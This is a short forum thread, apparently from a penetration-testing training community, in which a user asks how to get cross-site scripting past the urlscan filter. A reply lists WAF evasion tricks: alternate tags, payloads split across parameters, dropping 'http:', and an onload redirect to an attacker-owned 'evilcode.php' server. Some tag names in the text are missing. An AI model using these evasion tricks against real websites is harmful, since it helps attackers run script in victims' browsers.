Bypassing urlscan

Viewing 2 reply threads
  • Author
    Posts
    • #7669
      Darktaurus
      Participant

      Hello All,

      Has anyone had any success bypassing urlscan when attempting to input xss?  I used the usual NULL %00 and URL encoding.  I even found some papers that said I could try for filter evasion and obfuscation if I was targeting .NET which did not work too well by the way.  If you have a link or paper, I should give a read, I would greatly appreciate it. 

    • #47864
      eyenit0
      Participant

      Well, I’ve never gone up against urlscan before but I just beat F5’s ASM XSS filter for the first time, so maybe some of the same tricks will work.

      Some of the things I used were:
      1. I ditched using because I couldn’t get it passed. Instead used. Notice it’s not . The WAF would filter tags but not and Firefox would display just fine.
      Try iframe, style, and object tags too.

      2. Split up the attack between parameters if possible. Break it at key points where the WAF won’t be able to understand what’s going on.

      3. If ()’s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn’t load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a “location” in an onload like this:
      onload=location=”http://server/evilcode.php”.

      4. I also ran across spots where the letters “http” were filtered. Here you can usually drop the http: and just use //server/evilcode.php.

      I don’t know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I’ve learned with evasion and hopefully some of it carries over.

    • #47865
      Darktaurus
      Participant

      @eyenit0 wrote:

      Well, I’ve never gone up against urlscan before but I just beat F5’s ASM XSS filter for the first time, so maybe some of the same tricks will work.

      Some of the things I used were:
      1. I ditched using because I couldn’t get it passed. Instead used. Notice it’s not . The WAF would filter tags but not and Firefox would display just fine.
      Try iframe, style, and object tags too.

      2. Split up the attack between parameters if possible. Break it at key points where the WAF won’t be able to understand what’s going on.

      3. If ()’s are being blocked, you can try redirecting to a server that you own and get your code to run from there. I couldn’t load directly to the site that I was attacking and it was filtering most javascript actions, but I was able to use an image tag and slip a “location” in an onload like this:
      onload=location=”http://server/evilcode.php”.

      4. I also ran across spots where the letters “http” were filtered. Here you can usually drop the http: and just use //server/evilcode.php.

      I don’t know if any of that will be any help at all, and may be completely irrelevant to urlscan, but those are some of the things I’ve learned with evasion and hopefully some of it carries over.

      Thanks for the feedback!  I will give this a try today. I never tried the trick against the web app filters. Hopefully good news. I cannot wait for OffSec AWAE to open up.  Anyway, thanks again for the help.

Viewing 2 reply threads
  • You must be logged in to reply to this topic.

Copyright ©2021 Caendra, Inc.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.

Sending

Sign in with Caendra

Forgot password?Sign up

Forgot your details?